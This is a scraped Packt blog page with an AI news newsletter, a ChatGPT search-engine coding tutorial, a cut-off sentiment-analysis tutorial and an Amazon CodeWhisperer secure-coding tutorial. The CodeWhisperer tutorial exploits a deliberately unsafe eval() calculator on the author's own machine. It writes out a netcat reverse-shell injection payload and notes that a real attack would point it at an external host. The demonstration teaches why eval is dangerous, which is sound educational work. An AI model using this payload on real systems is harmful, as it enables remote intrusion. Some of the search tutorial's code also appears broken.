10 Nov 2023
12 min read
Save for later

AI_Distilled #25: OpenAI’s GPT Store and GPT-4 Turbo, xAI’s Grok, Stability AI’s 3D Model Generator, Microsoft’s Phi 1.5, Gen AI-Powered Vector Search Apps

Merlyn Shelley
10 Nov 2023
12 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!The AI Product Manager's Handbook ($35.99 Value) FREE for a limited time! Gain expertise as an AI product manager to effectively oversee the design, development and deployment of AI products. Master the skills needed to bring tangible value to your organization through successful AI implementation.Seize this exclusive opportunity and grab your copy now before it slips away on November 16th!  👋 Hello ,Step into another edition of AI_Distilled, brimming with updates in AI/ML, LLMs, NLP, GPT, and Gen AI. Our aim is to help you enhance your AI skills and stay abreast of the ever-evolving trends in this domain. Let’s get started with our news and analysis with an industry expert’s opinion. “Unfortunately, we have biases that live in our data, and if we don’t acknowledge that and if we don’t take specific actions to address it then we’re just going to continue to perpetuate them or even make them worse.” - Kathy Baxter, Responsible AI Architect, Salesforce. Baxter made an important point, for data underlies ML models, and errors will simply result in a domino effect that can have drastic consequences. Equally important is how AI handles data privacy, especially when you consider how apps like ChatGPT have now crossed 100 million weekly users. The Apple CEO recently hinted at major investments in responsible AI, which will likely transform smart handheld devices in 2024 with major AI upgrades. In this issue, we’ll talk about OpenAI unveiling major upgrades and features including GPT-4 Turbo model and DALL-E 3 API, Microsoft’s new breakthrough with smaller AI model, Elon Musk unveiling xAI’s "Grok" competing with GPT, and OpenAI launching the GPT Store for user-created custom AI models. We’ve also got you your fresh dose of AI secret knowledge and tutorials on unlocking zero-shot adaptive prompting for LLMs, creating a Python chat web app with OpenAI's API and Reflex, and 9 open source tools to boost your AI app. 📥 Feedback on the Weekly EditionWhat do you think of this issue and our newsletter?Please consider taking the short survey below to share your thoughts and you will get a free PDF of the “The Applied Artificial Intelligence Workshop” eBook upon completion. Complete the Survey. Get a Packt eBook for Free!Writer’s Credit: Special shout-out to Vidhu Jain for their valuable contribution to this week’s newsletter content!  Cheers,  Merlyn Shelley  Editor-in-Chief, Packt  Ready to level up your coding game?  🚀 Dive into the Software Supply Chain Security Survey and let's talk vulnerabilities, security practices, and all things code!  🤓 Share your insights and stand a chance to snag some epic prizes, including the coveted MX Master 3S, Raspberry Pi 4 Model B 4GB, $5 Udemy gift credits, and more!  🌟 Your code-savvy opinions could be your ticket to tech greatness.  Don't miss out—join the conversation now! 👩‍💻  Interested? Tell us what you think! SignUp | Advertise | Archives⚡ TechWave: AI/GPT News & Analysis🔹 OpenAI Unveils Major Upgrades and Features Including GPT-4 Turbo Model, DALL-E 3 API, Crosses 100 million Weekly Users: At its DevDay event, OpenAI announced significant new capabilities and lower pricing for its AI platform. This includes a more advanced GPT-4 Turbo model with 128K context size and multimodal abilities. OpenAI also released new developer products like the Assistants API and DALL-E 3 integration. Additional updates include upgraded models, customization options, expanded rate limits, and the Copyright Shield protection. Together these represent major progress in features, accessibility and affordability. ChatGPT also achieved 100 million weekly users and over two million developers, marking a significant milestone in its growth.  🔹 Stability AI Launches AI-Powered 3D Model Generator: Stability AI debuts Stable 3D, empowering non-experts to craft 3D models through simple descriptions or image uploads. The tool generates editable .obj files, marking the company's entry into the AI-driven 3D modeling landscape. Questions about training data origin and prior copyright controversies arise, highlighting a strategic move amid financial struggles. 🔹 Apple CEO Hints at Generative AI Plans: Apple CEO Tim Cook hinted at significant investments in generative AI during the recent earnings call. While specifics were not disclosed, Cook emphasized responsible deployment over time. Apple's existing AI in iOS and Apple Watch showcases its commitment, with rumors suggesting major AI updates in 2024, solidifying Apple's leadership in the space. 🔹 Microsoft Unveils Breakthrough with Smaller AI Model: Microsoft researchers revealed a major new capability added to their small AI model Phi 1.5. It can now interpret images, a skill previously limited to much larger models like OpenAI's ChatGPT. Phi 1.5 has only 1.3 billion parameters compared to GPT-4's 1.7 trillion, making it exponentially more efficient. This shows less expensive AI can mimic bigger models. Smaller models need less computing power, saving costs and emissions. Microsoft sees small and large models as complementary, optimizing tasks between them. The breakthrough signals wider access to advanced AI as smaller models spread.🔹 OpenAI Unveils GPT Store for User-Created Custom AI Models: OpenAI introduces GPTs, allowing users to build custom versions of ChatGPT for specific purposes with no coding experience required, opening up the AI marketplace. These GPTs can range from simple tasks like recipe assistance to complex ones such as coding or answering specific questions. The GPT Store will soon host these creations, enabling users to publish and potentially monetize them, mirroring the App Store model's success. OpenAI aims to pay creators based on their GPTs' usage, encouraging innovation. However, this move may create challenges in dealing with industry giants like Apple and Microsoft, who have their app models and platforms. 🔹 Elon Musk Drops xAI's Game-Changer: Meet Grok, the LLM with Real-Time Data, Efficiency, and a Dash of Humor! Named after the slang term for "understanding," Grok is intended to compete with AI models like OpenAI's GPT. It's currently available to a limited number of users in the United States through a waitlist on xAI's website. Grok is designed with impressive efficiency, utilizing half the training resources of comparable models. It brings humor and wit to AI interactions, aligning with Musk's goal of creating a "maximum truth-seeking AI." ***************************************************************************************************************************************************************🔮 Expert Insights from Packt Community Machine Learning with PyTorch and Scikit-Learn - By Sebastian Raschka, Yuxi (Hayden) Liu, Vahid Mirjalili Solving interactive problems with reinforcement learning Another type of machine learning is reinforcement learning. In reinforcement learning, the goal is to develop a system (agent) that improves its performance based on interactions with the environment. Since the information about the current state of the environment typically also includes a so-called reward signal, we can think of reinforcement learning as a field related to supervised learning. However, in reinforcement learning, this feedback is not the correct ground truth label or value, but a measure of how well the action was measured by a reward function. Through its interaction with the environment, an agent can then use reinforcement learning to learn a series of actions that maximizes this reward via an exploratory trial-and-error approach or deliberative planning. Discovering hidden structures with unsupervised learning In supervised learning, we know the right answer (the label or target variable) beforehand when we train a model, and in reinforcement learning, we define a measure of reward for particular actions carried out by the agent. In unsupervised learning, however, we are dealing with unlabeled data or data of an unknown structure. Using unsupervised learning techniques, we are able to explore the structure of our data to extract meaningful information without the guidance of a known outcome variable or reward function. Finding subgroups with clustering Clustering is an exploratory data analysis or pattern discovery technique that allows us to organize a pile of information into meaningful subgroups (clusters) without having any prior knowledge of their group memberships. Each cluster that arises during the analysis defines a group of objects that share a certain degree of similarity but are more dissimilar to objects in other clusters, which is why clustering is also sometimes called unsupervised classification. Clustering is a great technique for structuring information and deriving meaningful relationships from data. For example, it allows marketers to discover customer groups based on their interests, in order to develop distinct marketing programs. Dimensionality reduction for data compression Another subfield of unsupervised learning is dimensionality reduction. Often, we are working with data of high dimensionality—each observation comes with a high number of measurements—that can present a challenge for limited storage space and the computational performance of machine learning algorithms. Unsupervised dimensionality reduction is a commonly used approach in feature preprocessing to remove noise from data, which can degrade the predictive performance of certain algorithms. Dimensionality reduction compresses the data onto a smaller dimensional subspace while retaining most of the relevant information. This content is from the book “Machine Learning with PyTorch and Scikit-Learn” writtern by Sebastian Raschka, Yuxi (Hayden) Liu, Vahid Mirjalili (Feb 2022). Start reading a free chapter or access the entire Packt digital library free for 7 days by signing up now. To learn more, click on the button below. Read through the Chapter 1 unlocked here...  🌟 Secret Knowledge: AI/LLM Resources💡 Enhancing User Experiences with AI-PWAs in Web Development: This article explores the integration of AI and Progressive Web Applications (PWAs) to revolutionize website development. Learn how AI chatbots and generative AI, such as OpenAI's GPT-3, can personalize content and streamline coding. Discover the benefits of combining AI technology with PWAs, including improved user engagement, streamlined content generation, and enhanced scalability.  💡 Boosting Your AI App with 9 Open Source Tools: From LLM queries to chatbots and AI app quality, explore projects like LLMonitor for cost analytics and user tracking, Guidance for complex agent flows, LiteLLM for easy integration of various LLM APIs, Zep for chat history management, LangChain for building powerful AI apps, DeepEval for LLM application testing, pgVector for embedding storage and similarity search, promptfoo for testing prompts and models, and Model Fusion, a TypeScript library for AI applications. These tools can help you optimize and streamline your AI projects, improving user experiences and productivity. 💡 Creating Gen AI-Powered Vector Search Applications with Vertex AI Search: Learn how to harness the power of generative AI and vector embeddings to build user experiences and applications. Vector embeddings are a way to represent various types of data in a semantic space, enabling developers to create applications such as finding relevant information in documents, personalized product recommendations, and more. The article introduces vector search, a service within the Vertex AI Search platform, which helps developers find relevant embeddings quickly. It offers scalability, adaptability to changing data, security features, and easy integration with other AI tools.  🔛 Masterclass: AI/LLM Tutorials🔑 Integrating Amazon MSK with CockroachDB for Real-Time Data Streams: This guide offers a comprehensive step-by-step process for integrating Amazon Managed Streaming for Apache Kafka (Amazon MSK) with CockroachDB, creating a robust and scalable pipeline for real-time data processing. The integration enables various use cases, such as real-time analytics, event-driven microservices, and audit logging, enhancing businesses' ability to provide immediate, personalized experiences for customers. 🔑 Understanding GPU Workload Monitoring on Amazon EKS with AWS Managed Services: As the demand for GPU-accelerated ML workloads grows, this post offers valuable insights into monitoring GPU utilization on Amazon Elastic Kubernetes Service (EKS) using AWS managed open-source services. Amazon EC2 instances with NVIDIA GPUs are crucial for efficient ML training. The article explains how GPU metrics can provide essential information for optimizing resource allocation, identifying anomalies, and enhancing system performance.  🔑 Unlocking Zero-Shot Adaptive Prompting for LLMs: This study explores LLMs, emphasizing their prowess in solving problems in both few-shot and zero-shot scenarios. It introduces "Consistency-Based Self-Adaptive Prompting (COSP)" and "Universal Self-Adaptive Prompting (USP)" to generate robust prompts for diverse tasks in natural language understanding and generation. 🔑 Exploring Interactive AI Applications with OpenAI's GPT Assistants and Streamlit: This post unveils a cutting-edge Streamlit app integrating OpenAI's GPT models for interactive Wardley Mapping instruction. It details development, emphasizing GPT-4-1106-preview, covering setup, session management, UI configuration, user input, and real-time content generation, showcasing Streamlit's synergy with OpenAI for dynamic applications.  🔑 Utilizing GPT-4 Code Interpreter API for CSV Analysis: A Step-by-Step Guide: Learn to analyze CSV files with OpenAI's GPT-4 Code Interpreter API. The guide covers step-by-step processes, from uploading files via Postman to creating an Assistant, forming a thread, and executing a run. Gain insights for efficient CSV analysis, unlocking data-driven insights and automation power. 🔑 Creating a Python Chat Web App with OpenAI's API and Reflex: In this tutorial, you'll learn how to develop a chat web application in pure Python, utilizing OpenAI's API for intelligent responses. The guide explains how to use the Reflex open-source framework to build both the backend and frontend entirely in Python. The tutorial also covers styling and handling user input, making it easy for those without JavaScript experience to create a chat application with an AI-driven chatbot. By the end, you'll have a functional AI chatbot web app built in Python.  🚀 HackHub: Trending AI Tools📐tigerlab-ai/tiger: Build customized AI models and language applications, bridging the gap between general LLMs and domain-specific knowledge. 📐 langchain-ai/langchain/tree/master/templates: Reference architectures for various LLM use cases, enabling developers to quickly build production-ready LLM applications. 📐 ggerganov/whisper.cpp/tree/master/examples/talk-llama: Uses the SDL2 library to capture audio from the microphone and combines Whisper and LLaMA models for real-time interactions. 📐 explosion/thinc: Lightweight deep learning library for model composition, offering type-checked, functional-programming APIs, and support for PyTorch, TensorFlow, and MXNet. 
Read more
  • 0
  • 0
  • 15491

article-image-chatgpt-for-search-engines
Sangita Mahala
10 Nov 2023
10 min read
Save for later

ChatGPT for Search Engines

Sangita Mahala
10 Nov 2023
10 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionChatGPT is a large language model chatbot developed by OpenAI and released on November 30, 2022. It is a variant of the GPT (Generative Pre-training Transformer) language model that is specifically designed for chatbot applications. In the context of conversation, it has been trained to produce humanlike responses to text input.The potential for ChatGPT to revolutionize the way we find information on the Internet is immense. We can give users a more complete and useful answer to their queries through the integration of ChatGPT into search engines. In addition, ChatGPT could help us to tailor the results so that they are of particular relevance for each individual user.Benefits of Integrating ChatGPT into Search EnginesThere are a number of benefits to using ChatGPT for search engines, including:Enhanced User Experience: By allowing users to talk about their questions in the spoken language, ChatGPT offers better user experiences and more relevant search results by enabling natural language interactions.Improvements in Relevance and Context: With ChatGPT, search engines can deliver very relevant and contextually appropriate results even for ambiguous or complex queries because of their understanding of the context and complexity of the query.Increased Engagement: Users are encouraged to actively engage with the search engine through conversation search. When the user receives interactivity as well as conversation answers, they will be more likely to explore their search results further.Time Efficiency: In order to reduce the time that users spend on adjusting their queries, ChatGPT is able to understand user intent at an early stage. The faster access to the information requested will result from this efficiency.Personalization: As part of its chat function, ChatGPT will gather users' preferences and configure the search results to reflect each user's needs in providing a personalized browsing experience.Prerequisites before we startThere are certain prerequisites that need to be met before we embark on this journey:OpenAI API Key: You must have an API key from OpenAI if you want to use ChatGPT. You'll be able to get one if you sign up at OpenAI.Python and Jupyter Notebooks: To provide more interactive learning of the development process, it is recommended that you install Python on your machine.OpenAI Python Library: To use ChatGPT, you will first need to download the OpenAI Python library. Using pip, you can install the following:pip install openaiExample-1: Code Search EngineInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' def code_search_engine(user_query):    # Initialize a conversation with ChatGPT    conversation_history = [        {"role": "system", "content": "You are a helpful code search assistant."},        {"role": "user", "content": user_query}    ]      # Engage in conversation with ChatGPT    response = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=conversation_history    )    # Extract code search query from ChatGPT response    code_search_query = response.choices[0].message['content']['body']    # Perform code search with the refined query (simulated function)    code_search_results = perform_code_search(code_search_query)    return code_search_results def perform_code_search(query):    # Simulated code search logic    # For demonstration purposes, return hardcoded code snippets based on the query    if "sort array in python" in query.lower():        return [            "sorted_array = sorted(input_array)",            "print(sorted_array)"        ]    elif "factorial in JavaScript" in query.lower():        return [            "function factorial(n) {",            "  if (n === 0) return 1;",            "  return n * factorial(n-1);",            "}",            "console.log(factorial(5));"        ]    else:        return ["No matching code snippets found."] # Example usage user_query = input("Enter your coding-related question: ") code_search_results = code_search_engine(user_query) print("Code Search Results:") for code_snippet in code_search_results:    print(code_snippet) Output:Enter your coding-related question: How to sort array in Python? Code Search Results: sorted_array = sorted(input_array) print(sorted_array) We demonstrate a code search engine. It's the user's query related to coding, and it will refine this query with help of a model that simulates code searching. Examples of usage demonstrate how appropriate code snippets are returned after a refined query like sorting the array in Python.Example-2: Interactive Search AssistantInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' def interactive_search_assistant(user_query):    # Initialize a conversation with ChatGPT    conversation_history = [        {"role": "system", "content": "You are a helpful assistant."},        {"role": "user", "content": user_query}    ]    # Engage in interactive conversation with ChatGPT    response = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=conversation_history    )      # Extract refined query from ChatGPT response    refined_query = response.choices[0].message['content']['body']    # Perform search with refined query (simulated function)    search_results = perform_search(refined_query)    return search_results def perform_search(query):    # Simulated search engine logic    # For demonstration purposes, just return a placeholder result    return f"Search results for: {query}" # Example usage user_query = input("Enter your search query: ") search_results = interactive_search_assistant(user_query) print("Search Results:", search_results) Output:Enter your search query: Tell me about artificial intelligence Search Results: Search results for: Tell me about artificial intelligence This task takes user search queries, refines them with assistance from the model, and performs a simulated search. In the example usage, it returns a placeholder search result based on the refined query, such as "Search results for: Tell me about artificial intelligence."Example-3: Travel Planning Search EngineInput Code:import openai # Set your OpenAI API key openai.api_key = 'YOUR_OPENAI_API_KEY' class TravelPlanningSearchEngine:    def __init__(self):        self.destination_info = {            "Paris": "Paris is the capital of France, known for its art, gastronomy, and culture.",            "Tokyo": "Tokyo is the capital of Japan, offering a blend of traditional and modern attractions.",            "New York": "New York City is famous for its iconic landmarks, Broadway shows, and diverse cuisine."            # Add more destinations and information as needed        }      def search_travel_info(self, user_query):        # Engage in conversation with ChatGPT        conversation_history = [            {"role": "system", "content": "You are a travel planning assistant."},            {"role": "user", "content": user_query}        ]              # Engage in conversation with ChatGPT        response = openai.ChatCompletion.create(            model="gpt-3.5-turbo",            messages=conversation_history        )        # Extract refined query from ChatGPT response        refined_query = response.choices[0].message['content']['body']        # Perform travel planning search based on the refined query        search_results = self.perform_travel_info_search(refined_query)        return search_results    def perform_travel_info_search(self, query):        # Simulated travel information search logic        # For demonstration purposes, match the query with destination names and return relevant information        matching_destinations = []        for destination, info in self.destination_info.items():            if destination.lower() in query.lower():                matching_destinations.append(info)        return matching_destinations # Example usage travel_search_engine = TravelPlanningSearchEngine() user_query = input("Ask about a travel destination: ") search_results = travel_search_engine.search_travel_info(user_query) print("Travel Information:") if search_results:    for info in search_results:        print(info) else:    print("No matching destination found.")Output:Ask about a travel destination: Tell me about Paris. Travel Information: Paris is the capital of France, known for its art, gastronomy, and culture.If users are interested, they can ask about their destination and the engine refines their query by applying a model's help to return accurate travel information. As an example, information on the destination shall be given by the engine when asking about Paris.ConclusionIn terms of user experience, it is a great step forward that ChatGPT has become integrated into search engines. The search engines can improve understanding of users' intents, deliver high-quality results, and engage them in interactivity dialogues by using the power of speech processing and cognitive conversations. The synergy of ChatGPT and search engines, with the development of technology, will undoubtedly transform our ability to access information in a way that makes online experiences more user-friendly, efficient, or enjoyable. You can embrace the future of search engines by enabling ChatGPT, which means every query is a conversation and each result will be an intelligent answer.Author BioSangita Mahala is a passionate IT professional with an outstanding track record, having an impressive array of certifications, including 12x Microsoft, 11x GCP, 2x Oracle, and LinkedIn Marketing Insider Certified. She is a Google Crowdsource Influencer and IBM champion learner gold. She also possesses extensive experience as a technical content writer and accomplished book blogger. She is always Committed to staying with emerging trends and technologies in the IT sector.
Read more
  • 0
  • 0
  • 17818
article-image-writing-secure-code-with-amazon-codewhisperer
Joshua Arvin Lat
10 Nov 2023
12 min read
Save for later

Writing Secure Code with Amazon CodeWhisperer

Joshua Arvin Lat
10 Nov 2023
12 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionHave you ever used an AI coding assistant like Amazon CodeWhisperer? If not, you'll be surprised at how these AI-powered tools can significantly accelerate the coding process. In the past, developers had to rely solely on their expertise and experience to build applications. At the moment, we're seeing the next generation of developers leverage AI to not only speed up the coding process but also to ensure that their applications meet the highest standards of security and reliability.In this blog post, we will dive deep into how we can use CodeWhisperer to (1) speed up the coding process and (2) detect vulnerabilities and issues in our code. We’ll have the following sections in this post: Part 01 — Technical RequirementsPart 02 — Avoiding conflicts or issues with existing installed extensionsPart 03 — Using Amazon CodeWhisperer to accelerate Python coding workPart 04 — Realizing and proving that our code is vulnerablePart 05 — Detecting security vulnerabilities with Amazon CodeWhispererWithout further ado, let’s begin!Part 01 — Technical RequirementsYou need to have Amazon CodeWhisperer installed and configured with VS Code on our local machine. Note that we will be using CodeWhisperer Professional for a single user.  Make sure to check the pricing page (https://aws.amazon.com/codewhisperer/pricing/) especially if this is your first time using CodeWhisperer. Before installing and setting up the CodeWhisperer extension in VS Code, you need to:(1) Enable IAM Identity Center and create an AWS organization(2) Create an IAM organization user(3) Set up CodeWhisperer for a single user, and(4) Set up the AWS Toolkit for VS Code (https://aws.amazon.com/visualstudiocode/).Make sure that the CodeWhisperer extension is installed and set up completely before proceeding. We’ll skip the steps for setting up and configuring VS Code so that we can focus more on how to use the different features and capabilities of Amazon CodeWhisperer.Note: Feel free to check the following link for more information on how to set up CodeWhisperer: https://docs.aws.amazon.com/codewhisperer/latest/userguide/whisper-setup-prof-devs.html.Part 02 — Avoiding conflicts or issues with existing installed extensionsTo ensure that other installed extensions won’t conflict with the AWS Toolkit, we have the option to disable all installed extensions similar to what is shown in the following image:                                                                          Image 01 — Disabling All Installed ExtensionsOnce all installed extensions have been disabled, we need to make sure that the AWS Toolkit is enabled by locating the said extension under the list of installed extensions and then clicking the Enable button (as highlighted in the following image):                                                                      Image 02 — Enabling the AWS Toolkit extensionThe AWS Toolkit may require you to connect and authenticate again. For more information on how to manage extensions in VS Code, feel free to check the following link: https://code.visualstudio.com/docs/editor/extension-marketplacePart 03 — Using Amazon CodeWhisperer to accelerate Python coding workSTEP # 01:  Let’s start by creating a new file in VS Code. Name it whisper.py (or any other filename)                                                                                                              Image 03 — Creating a new file STEP # 02: Type the following single-line comment in the first line # Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expressionSTEP # 03: Next, press the ENTER keyYou should see a recommended line of code after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                             Image 04 — CodeWhisperer suggesting a single line of codeSTEP # 04: Press TAB to accept the code suggestion                                                                                       Image 05 — Accepting the code suggestion by pressing TABSTEP # 05: Press ENTER to go to the next line. You should see a code recommendation after a few seconds. In case the recommendation disappears (or does not appear at all), feel free to press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger the recommendation:                                                                   Image 06 — CodeWhisperer suggesting a block of codeSTEP # 06: Press TAB to accept the code suggestionImage 07 — Accepting the code suggestion by pressing TABSTEP # 07: Press ENTER twice and then backspace.STEP # 08: Type if and you should see a recommendation similar to what we have in the following image:.Image 08 — CodeWhisperer suggesting a line of codeSTEP # 09: Press ESC to ignore the recommendation.STEP # 10: Press OPTION + C (if you’re on Mac) or ALT + C (if you’re on Windows or Linux)  to trigger another recommendationImage 09 — CodeWhisperer suggesting a block of codeSTEP # 11: Press TAB to accept the code suggestionImage 10 — Accepting the code suggestion by pressing TABNote that you might get a different set of recommendations when using CodeWhisperer. In cases where there are multiple recommendations, you can use the left (←) and right (→) arrow keys to select from the list of available recommendations.In case you are planning to try the hands-on examples yourself, here is a copy of the code generated in the previous set of steps:# Create a calculator function that accepts a string expression using input() and uses eval() to evaluate the expression def calculator():    expression = input("Enter an expression: ")    result = eval(expression)    print(result)    return result if __name__ = "__main__":    calculator()    # ...STEP # 12: Open a New Terminal (inside VS Code):Image 11 — Opening a new Terminal inside VS CodeSTEP # 13: Assuming that we are able to run Python scripts locally (that is, with our local machine properly configured), we should be able to run our script by running the following (or a similar command depending on how your local machine is set up):python3 whisper.pyImage 12 — Running the code locallyIf you entered the expression 1 + 1 and got a result of 2, then our application is working just fine!Part 04 — Realizing and proving that our code is vulnerableIn order to write secure code, it’s essential that we have a good idea of how our code could be attacked and exploited. Note that we are running the examples in this section on a Mac. In case you’re unable to run some of the commands in your local machine, that should be alright as we are just demonstrating in this section why the seemingly harmless eval() function should be avoided whenever possible.STEP # 01:  Let’s run the whisper.py script again and specify print('hello') when asked to input an expression.print('hello')This should print hello similar to what we have in the following image:Image 13 — Demonstrating why using eval() is dangerousLooks like we can take advantage of this vulnerability and run any valid Python statement! Once a similar set of lines is used in a backend Web API implementation, an attacker might be able to inject commands as part of the request which could be processed by the eval() statement. This in turn could allow attackers to inject commands that would connect the target system and the attacker machine with something like a reverse shell.STEP # 02: Let’s run whisper.py again and specify the following statement when asked to input an expression:__import__('os').system('echo hello')#This should run the bash command and print hello similar to what we have in the following image:Image 14 — Another example to demonstrate why using eval() is dangerousSTEP # 03: Let’s take things a step further! Let’s open the Terminal app and let’s use netcat to listen on port 14344 by running the following command:nc -nvl 14344Image 15 — Using netcat to listen on port 14344Note that we are running the command inside the Terminal app (not the terminal window inside VS Code).STEP # 04: Navigate back to the VS Code window and run whisper.py again. This time, let’s enter the following malicious input when asked to enter an expression:__import__('os').system('mkfifo /tmp/ABC; cat /tmp/ABC | /bin/sh -i 2>&1 | nc localhost 14344 > /tmp/ABC')#This would cause the application to wait until the reverse shell is closed on the other side (that is, from the terminal window we opened in the previous step)Image 16 — Entering a malicious input to start a reverse shellNote that in order to get this to work, /tmp/ABC must not exist yet before the command runs. Feel free to delete /tmp/ABC in case you need to retry this experiment.STEP # 05: Back in our separate terminal window, we should be able to access a shell similar to what we have in the following image:Image 17 — Reverse shellFrom here, an attacker could potentially run commands that would help them steal the data stored in the compromised machine or use the compromised machine to attack other resources. Since this is just a demonstration, simply run exit to close the shell. It is important to note that in our simplified example, we used the same system for the attacker and victim machines.Image 18 — How attackers could connect the target machine to the attacker machineOf course, in real-life scenarios and penetration testing activities, the attacker machine would be a separate/external machine. This means that the malicious input needs to be modified with the external attacker's IP address (and not localhost).Important Note: It is unethical and illegal to attack resources owned by another user or company. These concepts and techniques were shared to help you understand the risks involved when using vulnerable functions such as eval().Part 05 — Detecting security vulnerabilities with Amazon CodeWhispererDo you think most developers would even know that the exploit we performed in the previous section is even possible? Probably not! One of the ways to help developers write more secure code (that is, without having to learn how to attack and exploit their own code) is by having a tool that automatically detects vulnerabilities in the code being written. The good news is that CodeWhisperer gives us the ability to run security scans with a single push of a button! We’ll show you how to do this in the next set of steps:STEP # 01: Click the AWS icon highlighted in the following image:Image 19 — Running a security scan using Amazon CodeWhispererYou should find CodeWhisperer under Developer Tools similar to what we have in Image X. Under CodeWhisperer, you should find several options such as Pause Auto-Suggestions, Run Security Scan, Select Customization, Open Code Reference Log, and Learn.STEP # 02: Click the Run Security Scan option. This will run a security scan that will flag several vulnerabilities and issues similar to what we have in the following image:Image 20 — Results of the security scanThe security scan may take about a minute to complete. It is important for you to be aware that while this type of security scan will not detect all the vulnerabilities and issues in your code, adding this step during the coding process would definitely prevent a lot of security issues and vulnerabilities.Note that we won’t discuss in this post how to fix the current code. In case you’re wondering what the next steps are, all you need to do is perform the needed modifications and then run the security scan again. Of course, there would be a bit of trial and error involved as resolving the vulnerabilities may not be as straightforward as it looks.ConclusionIn this post, we were able to showcase the different features and capabilities of Amazon CodeWhisperer. If you are interested to learn more about how various AI tools can accelerate the coding process, feel free to check Chapter 9 of my 3rd book “Building and Automating Penetration Testing Labs in the Cloud”. You’ll learn how to use AI solutions such as ChatGPT, GitHub Copilot, GitHub Copilot Labs, Amazon CodeWhisperer, and Tabnine Pro to significantly accelerate the coding process.Author BioJoshua Arvin Lat is the Chief Technology Officer (CTO) of NuWorks Interactive Labs, Inc. He previously served as the CTO of 3 Australian-owned companies and also served as the Director for Software Development and Engineering for multiple e-commerce startups in the past. Years ago, he and his team won 1st place in a global cybersecurity competition with their published research paper. He is also an AWS Machine Learning Hero and he has been sharing his knowledge in several international conferences to discuss practical strategies on machine learning, engineering, security, and management. He is also the author of the books "Machine Learning with Amazon SageMaker Cookbook", "Machine Learning Engineering on AWS", and "Building and Automating Penetration Testing Labs in the Cloud". Due to his proven track record in leading digital transformation within organizations, he has been recognized as one of the prestigious Orange Boomerang: Digital Leader of the Year 2023 award winners.
Read more
  • 0
  • 0
  • 7428

article-image-sentiment-analysis-with-generative-ai
Sangita Mahala
09 Nov 2023
8 min read
Save for later

Sentiment Analysis with Generative AI

Sangita Mahala
09 Nov 2023
8 min read
Dive deeper into the world of AI innovation and stay ahead of the AI curve! Subscribe to our AI_Distilled newsletter for the latest insights. Don't miss out – sign up today!IntroductionThe process of detecting and extracting emotion from text is referred to as sentiment analysis. It's a powerful tool that can help understand the views of consumers, look at brand ratings, and find satisfaction with customers. Genetic AI models like GPT 3, PaLM, and Bard can change the way we think about sentiment analysis. It is possible to train these models with the aim of understanding human language's nuances, and detecting sentiment in any complicated or subtle text.Benefits of using generative AI for sentiment analysisThere are several benefits to using generative AI for sentiment analysis, including:Accuracy: In the area of sentiment analysis, neural AI models are capable of achieving very high accuracy. It is because of their ability to learn the intricate patterns and relationships between words and phrases which have different meanings.Scalability: Generative AI models can be scaled to analyze large volumes of text quickly and efficiently. It is of particular importance for businesses and organizations that need to process large quantities of feedback from customers or are dealing with Social Media data.Flexibility: In order to take into account the specific needs of different companies and organizations, genetic AI models may be adapted. A model may be trained to determine the feelings of customer assessments, Social Media posts, or any other type of news.How to use generative AI for sentiment analysisThere are two main ways to use generative AI for sentiment analysis:Prompt engineering: Prompt engineering is the process of designing prompts, which are used to guide generative AI models in generating desired outputs. For example, the model might be asked to state "the following sentence as positive, negative, or neutral: I'm in love with this new product!"Fine-tuning: Finetuning refers to a process of training the generative AI model on some particular text and label data set. This is why the model will be able to discover special patterns and relationships associated with various emotions in that data set.Hands-on examplesIn this example, we will use the PaLM API to perform sentiment analysis on a customer review.Example - 1Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a positive sentence positive_sentence = "I am thrilled with the results! The team did an amazing job!" sentiment = analyze_sentiment(positive_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: positiveIn order to analyze the emotion in a particular sentence we have created a function that divides it into categories based on its sentiment score and labels it as positive, unfavorable, or neutral. For example, a positive sentence is analyzed and the results show a "positive" sentiment.Example - 2Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()      # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)      # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        return 'positive'    elif sentiment_scores['compound'] <= -0.05:        return 'negative'    else:        return 'neutral' # Example usage with a negative sentence negative_sentence = "I am very disappointed with the service. The product didn't meet my expectations." sentiment = analyze_sentiment(negative_sentence) print(f"Sentiment: {sentiment}")Output:Sentiment: negativeWe have set up a function to evaluate the opinions of some sentences and then classify them according to their opinion score, which we refer to as Positive, Negative, or Neutral. To illustrate this point, an analysis of the negative sentence is carried out and the output indicates a "negative" sentiment.Example - 3Input:import nltk from nltk.sentiment.vader import SentimentIntensityAnalyzer # Download the VADER lexicon for sentiment analysis (run this once) nltk.download('vader_lexicon') def analyze_sentiment(sentence):    # Initialize the VADER sentiment intensity analyzer    analyzer = SentimentIntensityAnalyzer()    # Analyze the sentiment of the sentence    sentiment_scores = analyzer.polarity_scores(sentence)    # Determine the sentiment based on the compound score    if sentiment_scores['compound'] >= 0.05:        